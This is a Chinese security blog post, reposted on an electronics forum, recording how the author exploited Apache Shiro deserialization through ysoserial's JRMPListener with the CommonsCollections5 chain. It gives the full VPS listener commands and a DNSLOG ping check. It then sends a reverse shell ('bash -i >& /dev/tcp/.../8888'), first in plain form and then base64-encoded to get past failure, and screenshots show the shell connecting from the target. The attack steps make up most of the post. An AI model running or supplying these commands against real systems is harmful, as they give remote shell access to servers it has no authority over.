0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

使用JRMPClient模块进行测试

jf_vLt34KHi 来源:Tide安全团队 作者:Tide安全团队 2022-11-22 17:22 次阅读

前言

最近在测试中遇到一些shiro反序列化不能利用的情况 找到key 无法找到利用链,但是发现存在JRMPClient可用的情况。

b2047198-6a45-11ed-8abf-dac502259ad0.png

换一种工具尝试

b225dc20-6a45-11ed-8abf-dac502259ad0.png

发现 JRMPClient 可用, 尝试使用 JRMPClient 进行测试,最终这个目标也没有执行成功所以换了一个目标进行的尝试,仅记录JRMPClient 利用方式。

使用JRMPClient模块进行测试

找到一个同样存在shiro反序列的目标。

b237b030-6a45-11ed-8abf-dac502259ad0.png

同样find: JRMPClient can be use。

搭建JRMPClient 监听服务

首先需要搭建 JRMPClient 使用ysoserial.jar 工具搭建服务,下载地址:https://github.com/frohoff/ysoserial

使用DNSLOG进行检测

在不确定目标是否通外网的情况下 先使用DNSLOG进行检测 获取一个新的域名 :w3dh1h.dnslog.cn

b24883f6-6a45-11ed-8abf-dac502259ad0.png

VPS上开启JRMPListener

在VPS上搭建服务命令

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "ping w3dh1h.dnslog.cn"

b2716df2-6a45-11ed-8abf-dac502259ad0.png

shiro反序列利用工具中选择JRMPClient,然后输入VPS上搭建服务的地址:

b2887efc-6a45-11ed-8abf-dac502259ad0.png

JRMPListener 收到返回信息

b29c67e6-6a45-11ed-8abf-dac502259ad0.png

DNSLOG上收到目标的ping 命令信息 说明目标服务器通外网

b2b75fce-6a45-11ed-8abf-dac502259ad0.png

执行反弹命令

执行反弹命令 bash -i >& /dev/tcp/xxxxxx/8888 0>&1

b6ba1166-6a45-11ed-8abf-dac502259ad0.png

没有收到反弹链接

b6db2266-6a45-11ed-8abf-dac502259ad0.png

将命令进行base64编码 java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eC54eC54eC54eHgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"

b6f38aae-6a45-11ed-8abf-dac502259ad0.png

成功收到反弹链接

b72e021a-6a45-11ed-8abf-dac502259ad0.png

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 模块
    +关注

    关注

    7

    文章

    2542

    浏览量

    46759
  • key
    key
    +关注

    关注

    0

    文章

    46

    浏览量

    12769

原文标题:使用JRMPClient模块进行测试

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    电源模块测试规范

    1、目的规范二次电源模块测试方法。本测试规范包括二次电源模块测试项目、测试目的、接线图、
    发表于 11-09 10:03 80次下载

    怎样对电源模块进行可靠性测试

    电源作为电路系统的“心脏”,其重要性是显而易见的。在选择电源模块时,除了要考虑输入电压范围、额定功率、隔离耐压、效率、纹波&噪声等性能特性外,还需针对其高低温性能和降额设计进行可靠性测试
    的头像 发表于 09-25 11:31 1.5w次阅读
    怎样对电源<b class='flag-5'>模块</b><b class='flag-5'>进行</b>可靠性<b class='flag-5'>测试</b>

    电源模块生产测试必备系统

    n 系统简介 电源模块作为电路系统的心脏,它的性能直接影响到整个电路系统的正常运行,因此电源模块的产品性能就显得格外重要,对于一款合格的电源模块,需要进行多项性能参数的
    发表于 11-21 17:00 1572次阅读
    电源<b class='flag-5'>模块</b>生产<b class='flag-5'>测试</b>必备系统

    对光模块进行测试的四大步骤

    模块是由发射器和接收器组成。当发射器通过光纤与接收器连接时,如果整个系统的误码率没有达到预期的效果,是发射器的问题还是接收器的问题?测试模块一般分为4个步骤,主要分为对发射器和接收器的测试
    的头像 发表于 12-25 16:27 2406次阅读

    无线通信模块如何进行远程节点的拉距测试

    用户购买无线模块后,一般第一步就是进行拉距测试,通常是准备2个笔记本电脑,一部电脑是放在在办公室有人值守,另外一部电脑在外场,双方使用手机或微信进行实时沟通
    的头像 发表于 02-19 13:55 5377次阅读
    无线通信<b class='flag-5'>模块</b>如何<b class='flag-5'>进行</b>远程节点的拉距<b class='flag-5'>测试</b>

    使用示波器对电源模块进行纹波测量

      在电源模块物料检测和某些单板测试时,会使用示波器对电源模块进行纹波测量,所以需要了解电源纹波的产生、危害,以及示波器各种探头,用哪种探头测试
    的头像 发表于 01-12 16:35 7558次阅读
    使用示波器对电源<b class='flag-5'>模块</b><b class='flag-5'>进行</b>纹波测量

    使用TPT进行测试建模/测试设计

    TPT中的测试用例用信号特征和函数调用描述被测系统的刺激。您可以用连续的测试步骤对简单的测试进行建模。对于更复杂的测试用例,TPT提供了混合
    的头像 发表于 11-25 11:15 754次阅读
    使用TPT<b class='flag-5'>进行</b><b class='flag-5'>测试</b>建模/<b class='flag-5'>测试</b>设计

    使用虹科模块化数字化仪进行车辆测试

    HongKeVehicletest使用数字化仪进行车辆测试虹科高速数据采集方案01引言Thefirstpart模块化仪器比传统仪器的尺寸大大减小,适合安装在电路卡上,同时也可以将多个卡插入具有
    的头像 发表于 08-01 00:12 332次阅读
    使用虹科<b class='flag-5'>模块</b>化数字化仪<b class='flag-5'>进行</b>车辆<b class='flag-5'>测试</b>

    聚焦千兆光模块和万兆光模块测试技术及设备

    本文主要探讨了千兆光模块和万兆光模块测试技术及测试设备,让读者了解光模块测试的具体方法。同时,
    的头像 发表于 11-06 15:00 423次阅读

    电源自动测试系统如何进行电源模块测试

    电源自动测试系统如何进行电源模块测试? 电源自动测试系统是用于对电源模块
    的头像 发表于 11-09 09:30 606次阅读

    电源模块耐压测试的标准及其规范是什么?要如何测试

    电源模块耐压测试的标准及其规范是什么?要如何测试? 电源模块是电子设备中至关重要的部分,其耐压测试是确保产品质量和安全性的重要环节。在
    的头像 发表于 11-10 14:22 2892次阅读

    电源模块过温保护测试原理、测试步骤、测试标准详解

    过温保护测试是电源模块保护功能测试项目之一,也是电源模块测试的重要测试指标,以保证电源
    的头像 发表于 11-14 14:56 709次阅读
    电源<b class='flag-5'>模块</b>过温保护<b class='flag-5'>测试</b>原理、<b class='flag-5'>测试</b>步骤、<b class='flag-5'>测试</b>标准详解

    为什么要进行模块测试?光模块测试方案

    为什么要进行模块测试?光模块测试方案 光模块测试
    的头像 发表于 01-19 11:15 576次阅读

    如何测试模块的性能?需要哪些测试测量设备?

    模块是一种将电信号转换为光信号或将光信号转换为电信号的设备,它在光通信系统中起着重要的作用。为了保证光模块的正常工作,我们需要对其进行性能测试,检测其是否符合相关的标准和规范。那么,
    的头像 发表于 01-30 09:03 2687次阅读
    如何<b class='flag-5'>测试</b>光<b class='flag-5'>模块</b>的性能?需要哪些<b class='flag-5'>测试</b>测量设备?

    什么是光模块中的浪涌测试

    应用中,光模块常常会遭受到来自外部环境的各种干扰,其中包括来自电力系统的浪涌电压。因此,进行模块浪涌测试对于确保其稳定性和可靠性至关重要。 浪涌
    的头像 发表于 01-31 14:24 278次阅读